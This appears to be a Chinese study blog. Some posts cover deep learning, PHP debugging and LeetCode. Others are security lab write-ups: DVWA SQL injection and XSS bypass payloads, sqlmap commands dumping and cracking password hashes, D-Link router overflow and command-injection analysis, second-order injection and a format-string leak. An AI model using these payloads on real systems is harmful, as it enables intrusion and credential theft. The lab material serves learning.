链接的重复定义

这样就不会出问题了，加个-n选项

参考
 GoogleCTF - Mindreader

deep learning0

Sun, 21 Jul 2019 00:00:00 GMT

deep learning

整理一下上课的笔记，不然全都会忘了去

无监督学习

self organizing map 简称SOM算法

大意：给定一个向量$v_{k}$,寻找到距离最近的神经元

找到最接近的神经元
更新$n_{i}$

wikipedia上一张很形象的图片:

蓝色斑点是训练数据的分布，小白色光盘是从该分布中抽取的当前训练数据。首先（左），SOM节点任意地位于数据空间中。选择最接近训练基准的节点（以黄色突出显示）。它被移向训练数据，因为（在较小程度上）是它在网格上的邻居。在多次迭代之后，网格倾向于近似数据分布（右）。

有监督学习

数学知识

特征向量

线性代数中的特征向量：

对于一个给定的方阵A，它的特征向量v经过线性变化之后，得到的新向量仍然与原来的v保持在同一条直线上，但其长度或方向也许会改变，即：

此时$v$就是矩阵$A$的特征向量，$\lambda$就是对应的特征值

进一步：在一定条件下，一个变换可以由其特征值特征向量完全表述，也就是说，所有的特征向量组成了这向量空间的一组基底。
一个特征空间是具有相同特征值的特征向量与一个同维数的零向量的集合，比如$E_{\lambda }=\left \{ u\in V | Au=\lambda u\right \}$即为线性变化$A$中以$\lambda$为特征值的特征空间

抽象概念不容易理解，举几个栗子：

恒等变换$I$的特征向量可以看到所有的特征向量都是恒等变换$I$的特征向量，恒等变换的特征空间只有一个就是整个空间
类似的，数乘变换$\lambda I$的特征向量也是所有的非零向量，因为按照定义：

感知器

看张图：

数学表述为：$t = f(\sum _{i=1}^{n} w_{i}x_{i} + b) = f(\mathbf{w}^{T} \mathbf{x})$

f函数的表达式：

$\mathbf{x} = \left [ x_{1}\, x_{2} … \, x_{n} \, 1 \right]^{T}$, $\mathbf{w} = \left [ w_{1}\, w_{2} \, …w_{n} \, b \right]^{T}$

如何训练？

我们来看一个训练与运算的demo



def load_data():
  '''
  加载数据，input_data和labels对应
  '''
    input_data = [[1, 1], [0, 0], [1, 0], [0, 1]]
    labels = [1, 0, 0, 0]
    return input_data, labels

def train_pre(input_data, y, iteration, rate):
  '''
  训练，更新w和b
  '''
    unit_step = lambda x: 0 if x < 0 else 1
    w = np.random.rand(len(input_data[0]))
    bias = 0.0

    for i in range(iteration):
        samples = zip(input_data, y)
        for (input_i, label) in samples:
            result = input_i * w + bias
            result = float(sum(result))
            y_pred = float(unit_step(result))
            w = w + rate * (label - y_pred) * np.array(input_i)
            bias = rate * (label - y_pred)
    return w, bias

def predict(input_i, w, b):
  '''
  预测
  '''
    unit_step = lambda x: 0 if x < 0 else 1
    result = input_i * w + b
    result = sum(result)
    y_pred = float(unit_step(result))
    print(y_pred)

if __name__ == "__main__":
    input_data, y = load_data()
    w, b = train_pre(input_data, y, 20, 0.01)
    predict([1, 1], w, b)

我们很惊讶地发现一个如此简单地模型竟然不可思议地完成了这个任务。
数据更新：
$w(j) := w(j) + \alpha (y-f(x))x(j) (j = 1,…n)$

异或问题

当时老师上课时候提到异或问题是不可解的，后来查了一下资料才明白在神经网络发展的早期，异或问题确实是不可解的，不过通过加入隐藏层使得异或问题能够有了新的解法

如下图：

复习的时候才注意到原来老师提到了通过加入隐藏层的方式来解决异或问题

参考资料

【机器学习】神经网络实现异或（XOR）
1.5 图形化理解神经网络中的异或问题
 感知器 wikipedia

deep learning1

Sun, 21 Jul 2019 00:00:00 GMT

感知机补充

接着写

感知机的训练中，老师还提供了一部份资料，比如训练出$y=2x$

我们简要地看一下一次训练的结果：

bias	x	y	w0	w1	yout	y-yout	adj0	adj1	alpha	w0new	w1new
1	0.512	1.023	0.719	0.403	0.926	0.977	0.977	0.500	0.7	0.788	0.438

进行很多次训练之后画出的图形：

预测的还是挺准确的

为什么需要bias？

概念上很好理解，bias就是将一个正比例函数变为了一次函数，这样不必每次都过原点，分类的准确性也就大大地提高了

多层感知机

一层的感知机是没办法处理异或问题的

所以需要增加隐藏层
就像下面这样：

这样就可以做到了：

感觉MLP的数学知识太过复杂了，暂时放着

keras

从栗子代码开始：

from keras.models import Sequential

model = Sequential()
from keras.layers import Dense
'''
使用add来堆叠模型
'''
model.add(Dense(units=64, activation='relu', input_dim=100))
model.add(Dense(units=10, activation='softmax'))
'''
使用compile来配置学习过程
'''
model.compile(loss='categorical_crossentropy',
              optimizer='sgd',
              metrics=['accuracy'])
# x_train 和 y_train 是 Numpy 数组 -- 就像在 Scikit-Learn API 中一样。
model.fit(x_train, y_train, epochs=5, batch_size=32)
'''
评估模型
'''
loss_and_metrics = model.evaluate(x_test, y_test, batch_size=128)
classes = model.predict(x_test, batch_size=128)

Sequential

compile

在训练模型之前，需要配置学习过程，compile接收三个参数

优化器optimizer
损失函数loss
评估标准metrics

一个个来看

优化器
可以先实例化一个优化器对象，然后将它传入model.compile()，或者可以通过
损失函数

损失函数（或称目标函数、优化评分函数）是编译模型时所需的两个参数之一：

model.compile(loss='mean_squared_error', optimizer='sgd')

我们可以传递一个现有的损失函数名，或者一个tensorflow符号函数，有以下两个参数

y_true: 真实标签.
y_pred: 预测值,其shape与y_true相同

可用的损失函数：
mean_squared_error
mean_absolute_error
等

参考

神经网络中w,b参数的作用（为何需要偏置b的解释）
深度学习中偏移项bias的作用

vscode调试php

Sun, 21 Jul 2019 00:00:00 GMT

使用vscode调试php代码

下载xdebug

官网
但是需要自己确定php的版本和编译器的版本

但是官网的链接似乎有问题，php5.5的两个反过来了

之后将其添加到php.ini文件中

[XDebug]
zend_extension = php_xdebug-2.5.5-5.5-vc11.dll
xdebug.remote_enable = 1
xdebug.remote_autostart = 1

将php添加到环境变量中

这就不细说了

配置vscode中的php路径

在settings.json中指定

调试

踩到的坑

VScode的php debug插件默认是用环境变量中的php来进行调试的，所以php如果没有加入到环境变量中的话是会报错的。
我刚开始用了wampserver的php来进行调试，但是后来失败了，说是没办法加载xdebug插件，所以换成了phpstudy
找不到setting文件？这个坑害惨了
在这个地方需要添加php的路径
两种调试方式，一种是listen for xdebug，需要打开浏览器，另一种是launch currently open script

DVWA学习

Sat, 20 Jul 2019 00:00:00 GMT

DVWA

用的vulstudy的环境
默认用户名是admin密码是password
需要启动的时候docker-compose up -d就行了
停止的话docker-compose stop停止容器

sql注入最简单的

没办法是我太菜了，权当复习好了 :cry:

输入1得到：

ID: 1
First name: admin
Surname: admin

然后开始爆字段

1’ order by 2 #

确认回显位置：

1’ union select 1,2 #

ID: 1' union select 1,2 #
First name: 1
Surname: 2

开始爆数据库

1’ union select database(),2 #
得到数据库名
ID: 1' union select database(),2 #
First name: dvwa
Surname: 2

开始爆表
表都存在information_schema.tables这里面

1’ union select table_name,2 from information_schema.tables where table_schema= ‘dvwa’#

得到：

ID: 1' union select table_name,2 from information_schema.tables where table_schema= 'dvwa'#
First name: guestbook
Surname: 2
ID: 1' union select table_name,2 from information_schema.tables where table_schema= 'dvwa'#
First name: users
Surname: 2

开始爆字段
然而我并不知道怎么爆字段:disappointed:
于是猜测是password

1’ union select password,2 from users

得到了：

ID: 1' union select password, 2 from users #
First name: 5f4dcc3b5aa765d61d8327deb882cf99
Surname: 2
ID: 1' union select password, 2 from users #
First name: e99a18c428cb38d5f260853678922e03
Surname: 2
ID: 1' union select password, 2 from users #
First name: 8d3533d75ae2c3966d7e0d4fcc69216b
Surname: 2
ID: 1' union select password, 2 from users #
First name: 0d107d09f5bbe40cade3de5c71e9e9b7
Surname: 2

小白之旅到此结束

升级到medium

改成了post方式提交数据
这时候sqlmap派上用场了

先将抓到的数据包保存为dvwa.txt文件
然后

python sqlmap.py -r “dvwa.txt” —dbs

sqlmap很聪明的判断出这是MYSQL数据库并且列出了所有的数据库

[22:21:04] [INFO] fetching database names
available databases [4]:
[*] dvwa
[*] information_schema
[*] mysql
[*] performance_schema

不过这个payload很神奇

Parameter: id (POST)
    Type: boolean-based blind
    Title: Boolean-based blind - Parameter replace (original value)
    Payload: id=(SELECT (CASE WHEN (1900=1900) THEN 1 ELSE (SELECT 6858 UNION SELECT 6800) END))&Submit=Submit

    Type: error-based
    Title: MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)
    Payload: id=1 AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x716b7a6b71,(SELECT (ELT(7517=7517,1))),0x7162787071,0x78))s), 8446744073709551610, 8446744073709551610)))&Submit=Submit

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: id=1 AND SLEEP(5)&Submit=Submit

    Type: UNION query
    Title: Generic UNION query (NULL) - 2 columns
    Payload: id=1 UNION ALL SELECT CONCAT(0x716b7a6b71,0x464a61616642417872426e5a6c657171445176626c57687143476d6e4d5661714a5768516f4d566a,0x7162787071),NULL-- WDTr&Submit=Submit

指定数据库爆表

python sqlmap.py -r “dvwa.txt” -D dvwa —tables

得到：

Database: dvwa
[2 tables]
+-----------+
| guestbook |
| users     |
+-----------+

指定表爆字段

python sqlmap.py -r “dvwa.txt” -D dvwa -T users —columns

Database: dvwa
Table: users
[8 columns]
+--------------+-------------+
| Column       | Type        |
+--------------+-------------+
| user         | varchar(15) |
| avatar       | varchar(70) |
| failed_login | int(3)      |
| first_name   | varchar(15) |
| last_login   | timestamp   |
| last_name    | varchar(15) |
| password     | varchar(32) |
| user_id      | int(6)      |
+--------------+-------------+

指定表然后dump数据

python sqlmap.py -r “dvwa.txt” -D dvwa -T users —dump-all

sqlmap很机智的在破解md5

[22:22:02] [INFO] cracked password 'charley' for hash '8d3533d75ae2c3966d7e0d4fcc69216b'
[22:22:04] [INFO] cracked password 'letmein' for hash '0d107d09f5bbe40cade3de5c71e9e9b7'
[22:22:04] [INFO] cracked password 'abc123' for hash 'e99a18c428cb38d5f260853678922e03'

得到的表

| user_id | avatar                                           | user    | password                                    | last_name | first_name | last_login          | failed_lo
gin |
+---------+--------------------------------------------------+---------+---------------------------------------------+-----------+------------+---------------------+----------
----+
| 1       | http://192.168.41.161/hackable/users/admin.jpg   | admin   | 5f4dcc3b5aa765d61d8327deb882cf99 (password) | admin     | admin      | 2019-07-15 13:57:22 | 0            |
| 2       | http://192.168.41.161/hackable/users/gordonb.jpg | gordonb | e99a18c428cb38d5f260853678922e03 (abc123)   | Brown     | Gordon     | 2019-07-15 13:57:22 | 0            |
| 3       | http://192.168.41.161/hackable/users/1337.jpg    | 1337    | 8d3533d75ae2c3966d7e0d4fcc69216b (charley)  | Me        | Hack       | 2019-07-15 13:57:22 | 0            |
| 4       | http://192.168.41.161/hackable/users/pablo.jpg   | pablo   | 0d107d09f5bbe40cade3de5c71e9e9b7 (letmein)  | Picasso   | Pablo      | 2019-07-15 13:57:22 | 0            |
| 5       | http://192.168.41.161/hackable/users/smithy.jpg  | smithy  | 5f4dcc3b5aa765d61d8327deb882cf99 (password) | Smith     | Bob        | 2019-07-15 13:57:22 | 0            |
+---------+--------------------------------------------------+---------+---------------------------------------------+-----------+------------+---------------------+--------------+

sqlmap tql tql tql

high

这时候就很。。

会弹出一个页面，输入数据之后再跳回来
这就很安全了:stuck_out_tongue:
但是。。
查看源码之后发现：
其实没有任何过滤；

// Check database
$query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' );

所以payload照样用，没问题

impossible

这次就更不一般了

<?php

if( isset( $_GET[ 'Submit' ] ) ) {
	// Check Anti-CSRF token
	checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

	// Get input
	$id = $_GET[ 'id' ];

	// Was a number entered?
	if(is_numeric( $id )) {
		// Check the database
		$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
		$data->bindParam( ':id', $id, PDO::PARAM_INT );
		$data->execute();
		$row = $data->fetch();

		// Make sure only 1 result is returned
		if( $data->rowCount() == 1 ) {
			// Get values
			$first = $row[ 'first_name' ];
			$last  = $row[ 'last_name' ];

			// Feedback for end user
			$html .= "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
		}
	}
}

// Generate Anti-CSRF token
generateSessionToken();

?>

这里用到了PDO预编译的方式
那可能就真的没办法了

看了下stackoverflow
How can I prevent SQL injection in PHP?

Use prepared statements and parameterized queries. These are SQL statements that are sent to and parsed by the database server separately from any parameters. This way it is impossible for an attacker to inject malicious SQL.

可以有两种方式：

$stmt = $pdo->prepare('SELECT * FROM employees WHERE name = :name');

$stmt->execute(array('name' => $name));

foreach ($stmt as $row) {
    // Do something with $row
}

或者对于mysql来说，可以：

$stmt = $dbConnection->prepare('SELECT * FROM employees WHERE name = ?');
$stmt->bind_param('s', $name); // 's' specifies the variable type => 'string'

$stmt->execute();

$result = $stmt->get_result();
while ($row = $result->fetch_assoc()) {
    // Do something with $row
}

PDO真的是安全的吗？
Are PDO prepared statements sufficient to prevent SQL injection?
SQL injection that gets around mysql_real_escape_string()

XSS reflected

第一遍在chrome上试了下<script>alert(1)</script>没成功
但是看源码：

可能是chrome太安全了吧
换成firefox就没事了

medium

如果看源码就会发现只是简单地对script进行了一次过滤

$name = str_replace( '<script>', '', $_GET[ 'name' ] );
那么如何绕过这个限制呢

那就这样构造
<scr<script>ipt>alert(1)</script>
就能绕过过滤了，主要问题还是过滤不严格，之过滤了一次，所以双写就能很容易地绕过了

ps. 大小写也可以

high

这次过滤更严格了
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );

最后只留了一个>给你

果然我记得还有img标签也可以造成xss来着
<img src="aa" onError=alert(123) >
这样就行啦，当然chrome太安全了，还是用firefox吧

impossible

checkToken( $_REQUEST[ 'user_token' ],$_SESSION[ 'session_token' ], 'index.php' );

// Get input
$name = htmlspecialchars( $_GET[ 'name' ] );

// Feedback for end user
$html .= "<pre>Hello ${name}</pre>";

这种情况下还进行了实体编码，看你怎么绕过

那些年我们没能bypass的xss filter

一篇总结了xss的文章

sql 盲注

从low开始看起，
直接抓包然后将数据包保存起来，用sqlmap跑一下就就出来了，-r参数是读取一个数据包中的文件，然后sqlmap会自动解析它

mediume

一样的，只是数据包变成了post方式提交的

high

这次sqlmap抽风没跑出来
看下源码好了
本来盲注就是要通过脚本来跑的，但是我比较懒emmm，还是要复习一下如何用python脚本跑出来

如何盲注？

一篇文章带你深入理解 SQL 盲注

盲注最常见的一个payload
127.0.0.1/sqllib/Less-5/?id=1'and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=80–+ 判断数据库中第一个表的第一个字符为否为’P’

xss 存储型

还是最简单的low
表单上的name有长度限制，不过这只是前端的限制而已
<div id="guestbook_comments">Name: <script>alert(1)</script><br />Message: <script>alert(1)</script><br /></div>
注入成功

medium

这就很尴尬了。。
原来这就是存储型xss的厉害了，直接存进去了，所以我打开medium的页面时，连着弹出了两个框框，于是想看一下它的源码：

这里也是通过大小写或者双写就能绕过的

<sCriPt>alert(1)</script>

找到了一个xss平台

xss平台

但是我发现我不会用了。。

IOT D-link

Sat, 20 Jul 2019 00:00:00 GMT

DIR-815栈溢出漏洞

屡次调试都失败了，我才发现原来这个版本的DIR-815已经修复了(DIR-815_REVB_FIRMWARE_2.03.B08)。
所以这个栈溢出是不存在的

.text:0040BE04 move    $a3, $s2
.text:0040BE08 la      $a2, aSSPostxml                  # "%s/%s/postxml"
.text:0040BE0C move    $a0, $s1                         # s
.text:0040BE10 li      $a1, 0x400                       # maxlen
.text:0040BE14 jalr    $t9 ; snprintf
.text:0040BE18 sw      $v0, 0x4F0+var_4E0($sp)
.text:0040BE1C lw      $gp, 0x4F0+var_4D8($sp)
.text:0040BE20 move    $a2, $s1
.text:0040BE24 la      $t9, xmldbc_del

DIR-645 缓冲区溢出漏洞

动态调试：
在authenticationcgi_main处下断点

此时返回地址保存在这里：

之后运行到此处：

此时返回地址被覆盖了

继续运行，程序果然崩溃了

进入到函数sub40A424
程序在此时崩溃了

尝试修改password长度

程序还是崩溃了

查看反汇编代码
程序从外部读入CONTENT_LENGTH没有进行任何检查

text:0040B4A0                 la      $t9, getenv
.text:0040B4A4                 la      $a0, aContent_length  # "CONTENT_LENGTH"
.text:0040B4A8                 jalr    $t9 ; getenv
.text:0040B4AC                 move    $s0, $v0
.text:0040B4B0                 lw      $gp, 0xF90+var_F78($sp)
.text:0040B4B4                 beqz    $s0, loc_40B610
.text:0040B4B8                 addiu   $a0, $sp, 0xF90+var_938
.text:0040B4BC                 beqz    $v0, loc_40B614
.text:0040B4C0                 addiu   $a1, $sp, 0xF90+var_E1C
.text:0040B4C4                 la      $t9, atoi
.text:0040B4C8                 nop
.text:0040B4CC                 jalr    $t9 ; atoi
.text:0040B4D0                 move    $a0, $v0         # nptr
.text:0040B4D4                 lw      $gp, 0xF90+var_F78($sp)
.text:0040B4D8                 move    $s0, $v0
.text:0040B4DC                 la      $v1, stdin
.text:0040B4E0                 la      $t9, fileno
.text:0040B4E4                 lw      $a0, (stdin - 0x4353CC)($v1)  # stream
.text:0040B4E8                 jalr    $t9 ; fileno
.text:0040B4EC                 addiu   $s1, $sp, 0xF90+var_430
.text:0040B4F0                 lw      $gp, 0xF90+var_F78($sp)
.text:0040B4F4                 move    $a0, $v0         # fd
.text:0040B4F8                 la      $t9, read
.text:0040B4FC                 move    $a1, $s1         # buf
.text:0040B500                 jalr    $t9 ; read

计算偏移量；

后面的利用过程感觉比较复杂，没能成功地复现

DIR-645命令执行漏洞

在安全客上看到了一篇分析DIR-645命令执行地文章，随分析一下原理

直接查看servicecgi_main函数

首先会对请求方法进行判断，如果是POST方法则会调用cgibin_parse_request解析参数，具体的实现暂时不考虑，主要是解析CONTENT_TYPE和CONTENT_LENGTH,之后会调用sess_ispoweruser判断是否为合法用户
之后获取 POST 表单字段，若字段名为 EVENT 的话，就将 “event %s > /dev/null” 作为参数执行 lxmldbc_system 函数。
查看lxmldbc_system函数

sw      $a1, 0x428+arg_4($sp)
sw      $a2, 0x428+arg_8($sp)
sw      $a3, 0x428+arg_C($sp)
move    $a2, $a0         # format
move    $a3, $v0         # arg
move    $a0, $s0         # s
sw      $v0, 0x428+var_410($sp)
jalr    $t9 ; vsnprintf  
li      $a1, 0x400       # maxlen

主要关注最后两条指令，因为这里用到了MIPS中地分支延迟槽技术，所以$a1传递参数的指令存放在jalr指令之后
故vsnprintf($sp+0x428+var_40C,0x400,"event %s > /dev/null",arg_4)
vsnprintf函数的用法：

函数原型：int vsnprintf(char str, size_t size, const char format,va_list ap);
函数说明：将可变参数格式化输出到一个字符数组
参数：str输出到的数组，size指定大小，防止越界，format格式化参数，ap可变参数列表函数用法

接着调用system函数

jalr    $t9 ; system
move    $a0, $s0         # command

看一下参数的传递过程

$s0本来是栈上的一个变量，vsnprintf将可变参数格式化输出到其中，之后又将其作为参数传递给system函数

相当于执行了
system("event %s > /dev/null")

这样就可以想办法进行命令注入了

参考

路由器漏洞挖掘之 DIR-815 栈溢出漏洞分析

Leetcode 2

Mon, 15 Jul 2019 00:00:00 GMT

错解

怎么快速地将链表倒置

:confused:

最后还是因为溢出的问题

思路：


        int k = 0;

        ListNode temp1 = l1;

        ListNode temp2 = l2;

        double resultl1 = 0;

        double resultl2 = 0;

        while (temp1 != null) {

            int tempvalue = temp1.val;

            resultl1 = resultl1 + tempvalue * Math.pow(10, k);

            k++;

            temp1 = temp1.next;

        }

就是将其转化为整数，因为链表的第一个元素是最低位，之后是十位，百位等

将得到的结果在转化为链表


int result = (int) (resultl1 + resultl2);

ListNode ans = new ListNode(0); //先取一个头节点

ListNode head = ans;

int length = Integer.toString(result).length();

for (int i = 0; i < length; i++) {

    ListNode temp = new ListNode(result % 10);

    head.next = temp;

    head = head.next;

    result = result / 10;

}

记录一下将整数转为string的操作

Integer.toString(result)

Math.pow函数的返回值必须是double类型的

但是这样会面临一个问题，也就是最开图片的那个，溢出！

正解

看了眼答案，才明白自己从开始就想错了


public ListNode addTwoNumbers(ListNode l1, ListNode l2) {

    ListNode dummyHead = new ListNode(0);

    ListNode p = l1, q = l2, curr = dummyHead;

    int carry = 0;

    while (p != null || q != null) {

        int x = (p != null) ? p.val : 0;

        int y = (q != null) ? q.val : 0;

        int sum = carry + x + y;

        carry = sum / 10;

        curr.next = new ListNode(sum % 10);

        curr = curr.next;

        if (p != null) p = p.next;

        if (q != null) q = q.next;

    }

    if (carry > 0) {

        curr.next = new ListNode(carry);

    }

    return dummyHead.next;

}

最关键的就是

==int x = (p != null) ? p.val : 0;

int y = (q != null) ? q.val : 0;

int sum = carry + x + y;

carry = sum / 10;

curr.next = new ListNode(sum % 10);==

其实只需要从低位开始一位位的加上去就好了。

然后再把它们给链起来

sql注入实践

Mon, 15 Jul 2019 00:00:00 GMT

基于sql的盲注

之前一直没有好好地学习过sqlmap的使用方法

如果是针对post表单这种方式

可以将抓到的包保存成一个文件，然后使用 sqlmap.py -r "post.txt" -p n --dbs 其中-p是指定参数
sqlmap也可以自动搜寻表单sqlmap.py -u "url" --forms
指定参数

趁机学到了一把sqlmap使用
虽然这个题目是有点。。
但是注入点的判断也是很重要的

爆后端数据库

python sqlmap.py -u "http://219.153.49.228:40952/new_list.php?id=1"

爆数据库

python sqlmap.py -u "http://219.153.49.228:40952/new_list.php?id=1" --dbs

指定数据库报表爆表

python sqlmap.py -u "http://219.153.49.228:40952/new_list.php?id=1" --dbs -D stormgroup --tables

指定数据库和表爆字段

python sqlmap.py -u "http://219.153.49.228:40952/new_list.php?id=1" --dbs -D stormgroup -T member --columns

指定数据库，表，字符然后dump出数据

python sqlmap.py -u "http://219.153.49.228:40952/new_list.php?id=1" --dbs -D stormgroup -T member -C password --dump
![member](https://i.imgur.com/iRvoAHX. ![password](https://i.imgur.com/B6oLiAA.png)

Database: stormgroup
Table: member
[2 entries]
+-------+----------------------------------+--------+
| name  | password                         | status |
+-------+----------------------------------+--------+
| mozhe | 3114b433dece9180717f2b7de56b28a3 | 0      |
| mozhe | b7a0bebf8287c87253fb2958a390346a | 1      |
+-------+----------------------------------+--------+

解密之后是106370
这样就能登陆后台了

太神奇了

参考
sqlmap之(六)——POST登陆框注入实战

SQL手工注入漏洞测试(Access数据库)

这道题目就有点神奇了

纯靠猜

order by 4判断有多少个字段

然后 new_list.asp?id=1 and exists(select * from admin)判断是否存在admin

接下来判断回显位置
/new_list.asp?id=1 union select 1,2,3,4 from admin

接下来猜测字段值
and exists (select id from admin)

爆出字段值
union select 1,username,passwd,id from admin

md5解密一下登陆就行了

参考

二次注入分析

看一下sqli的第24题

可以注册账号进行登陆，登陆之后可以修改密码。

登陆点尝试注入发现被检测到了，注册的时候尝试注册admin的账号提示账号已存在

看一下源码(用的docker环境，mysql登陆没有密码)

直接全局搜索username

function sqllogin(){

   $username = mysql_real_escape_string($_POST["login_user"]);
   $password = mysql_real_escape_string($_POST["login_password"]);
   $sql = "SELECT * FROM users WHERE username='$username' and password='$password'";
//$sql = "SELECT COUNT(*) FROM users WHERE username='$username' and password='$password'";
   $res = mysql_query($sql) or die('You tried to be real smart, Try harder!!!! :( ');
   $row = mysql_fetch_row($res);
        //print_r($row) ;
   if ($row[1]) {
                        return $row[1];
   } else {
                return 0;
   }

}

这里使用了mysql_real_escape_string方法转义数据，导致注入无法发生

但是我们尝试注册

在login_create中有一处：

root@44662761c057:/var/www/html/Less-24# grep "insert" *
login_create.php:   				$sql = "insert into users ( username, password) values(\"$username\", \"$pass\")";

mysql_escape_string函数也会转义一些字符比如：

<?php
    $item = "Zak's Laptop";
    $escaped_item = mysql_escape_string($item);
    printf ("Escaped string: %s\n", $escaped_item);
?>

得到
Escaped string: Zak\'s Laptop

但是我们尝试注册test'#

成功了？
看下数据库：

mysql> select * from users where username="test'#";
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 15 | test'#   | 123      |
+----+----------+----------+
1 row in set (0.00 sec)

很神奇。。

传入的username已经被成功转义

学习一下mysql_query返回的是一个资源值

此时构造的sql语句也没问题

然而插入的数据就是有问题

mysql> select * from users;
+----+----------+------------+
| id | username | password   |
+----+----------+------------+
|  1 | Dumb     | Dumb       |
|  2 | Angelina | I-kill-you |
|  3 | Dummy    | p@ssword   |
|  4 | secure   | crappy     |
|  5 | stupid   | stupidity  |
|  6 | superman | genious    |
|  7 | batman   | mob!le     |
|  8 | admin    | admin      |
|  9 | admin1   | admin1     |
| 10 | admin2   | admin2     |
| 11 | admin3   | admin3     |
| 12 | dhakkan  | dumbo      |
| 14 | admin4   | admin4     |
| 15 | test'#   | 111        |
+----+----------+------------+
14 rows in set (0.00 sec)

这个可真的没办法了。。

有个问题，当我登陆的时候：

sql语句是这样的：
"SELECT * FROM users WHERE username='test\'#' and password='111'"

则此时重置密码

"UPDATE users SET PASSWORD='' where username='test'#' and password='111' "

此时我构造用户名test' union selct * from users # 登陆的时候的sql语句如下

"SELECT * FROM users WHERE username='test\' union selct * from users #' and password='111'"

此时还是无法直接注入的，因为单引号被转义无法闭合

格式化字符串分析

Sat, 04 May 2019 00:00:00 GMT

格式化字符串

这个题目是ctfwiki上的

c代码如下：

#include <stdio.h>
int main() {
  char s[100];
  int a = 1, b = 0x22222222, c = -1;
  scanf("%s", s);
  printf("%08x.%08x.%08x.%s\n", a, b, c, s);
  printf(s);
  return 0;
}

（突然发现腾讯文档居然还支持代码好强啊

我们编译一下：

gcc -m32 -fno-stack-protector -no-pie -o leakMemory  leakMemory.c -g

把保护措施都关掉了

 % checksec leakMemory   
[*] '/home/abc/Desktop/pwn/leakMemory/leakMemory'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

先看一下几个payload

pwndbg> b printf
Breakpoint 1 at 0x8048330
pwndbg> r
Starting program: /home/abc/Desktop/pwn/leakMemory/leakMemory 
%08x.%08x.%08x

Breakpoint 1, __printf (format=0x8048593 "%08x.%08x.%08x.%s\n") at printf.c:28
28printf.c: No such file or directory.

在printf处下断点
此时栈上的布局如下

00:0000│ esp  0xffffcf9c —▸ 0x80484ea (main+100) ◂— add    esp, 0x20
01:0004│      0xffffcfa0 —▸ 0x8048593 ◂— and    eax, 0x2e783830 /* '%08x.%08x.%08x.%s\n' */
02:0008│      0xffffcfa4 ◂— 0x1
03:000c│      0xffffcfa8 ◂— 0x22222222 ('""""')
04:0010│      0xffffcfac ◂— 0xffffffff
05:0014│      0xffffcfb0 —▸ 0xffffcfc0 ◂— '%08x.%08x.%08x'

continue一下：

pwndbg> c
Continuing.
00000001.22222222.ffffffff.%08x.%08x.%08x

Breakpoint 1, __printf (format=0xffffcfc0 "%08x.%08x.%08x") at printf.c:28
28in printf.c

输出了信息的同时，命中第二个断点

此时栈上的布局如下：

00:0000│ esp  0xffffcfac —▸ 0x80484f9 (main+115) ◂— add    esp, 0x10
01:0004│      0xffffcfb0 —▸ 0xffffcfc0 ◂— '%08x.%08x.%08x'
... ↓
03:000c│      0xffffcfb8 —▸ 0xf7fcf410 —▸ 0x8048278 ◂— inc    edi /* 'GLIBC_2.0' */
04:0010│      0xffffcfbc —▸ 0x804849d (main+23) ◂— add    ebx, 0x1b63
05:0014│ eax  0xffffcfc0 ◂— '%08x.%08x.%08x'
06:0018│      0xffffcfc4 ◂— '.%08x.%08x'
07:001c│      0xffffcfc8 ◂— 'x.%08x'

此时printf函数会把格式化字符串之后的栈上的信息当作参数打印出来：
contiue一下

pwndbg> c
Continuing.
ffffcfc0.f7fcf410.0804849d[Inferior 1 (process 4975) exited normally]

之前栈上的信息显示的不全，栈的内存如下：

pwndbg> x/20x 0xffffcfb0
0xffffcfb0:0xffffcfc0 0xffffcfc0 0xf7fcf410 0x0804849d
0xffffcfc0:0x78383025 0x3830252e 0x30252e78 0x00007838
0xffffcfd0:0x00000000 0x00c30000 0x00000000 0xf7ffd000
0xffffcfe0:0x00000000 0x00000000 0x00000000 0x6f984f00
0xffffcff0:0x00000009 0xffffd2a4 0xf7e094a9 0xf7fb4748

0xffffcfb0 是格式化字符串的地址，我们看到此时printf函数将0xffffcfc0 0xf7fcf410 0x0804849d
都打印出来了，也就是格式化字符串之后的三个位置的信息

我们通过这种方式泄露栈的信息，但是也可以直接去取得栈中被视为第n+1个参数的值
至于为什么是第n+1, 这是因为格式化字符串是第一个参数

比如通过 %3\$x(这个的原理是啥？为什么要加\$符号) 我们可以泄露栈上被视为第4个参数的值

栈布局如下：(左边的一列是栈地址，也就是内存的地址，箭头代表了这个内存单元存储的数据，如果是指针还会进一步指示)

00:0000│ esp  0xffffcfac —▸ 0x80484f9 (main+115) ◂— add    esp, 0x10
01:0004│      0xffffcfb0 —▸ 0xffffcfc0 ◂— '%3$x'
... ↓(这里是省略号，是不是就是直接指向了，中间那个就被跳过了)
03:000c│      0xffffcfb8 —▸ 0xf7fcf410 —▸ 0x8048278 ◂— inc    edi /* 'GLIBC_2.0' */
04:0010│      0xffffcfbc —▸ 0x804849d (main+23) ◂— add    ebx, 0x1b63
05:0014│ eax  0xffffcfc0 ◂— '%3$x'
06:0018│      0xffffcfc4 ◂— 0x0
07:001c│      0xffffcfc8 —▸ 0xf7ffd940 ◂— 0x0

同样看不清，还是直接打印内存信息吧(x命令的用法，这里显示的是内存地址从0xffffcfb0开始的，因为内存是按照字节编址的，所以一行正好是16个字节内存地址就是加10)

pwndbg> x/20x 0xffffcfb0
0xffffcfb0:0xffffcfc0 0xffffcfc0 0xf7fcf410 0x0804849d (0xffffcfb0这个内存单元指向了0xffffcfc0)
0xffffcfc0:0x78243325 0x00000000 0xf7ffd940 0x000000c2 (看内存单元0xffffcfc0存放的内容就是x$3%)
0xffffcfd0:0x00000000 0x00c30000 0x00000000 0xf7ffd000
0xffffcfe0:0x00000000 0x00000000 0x00000000 0xd6a57700
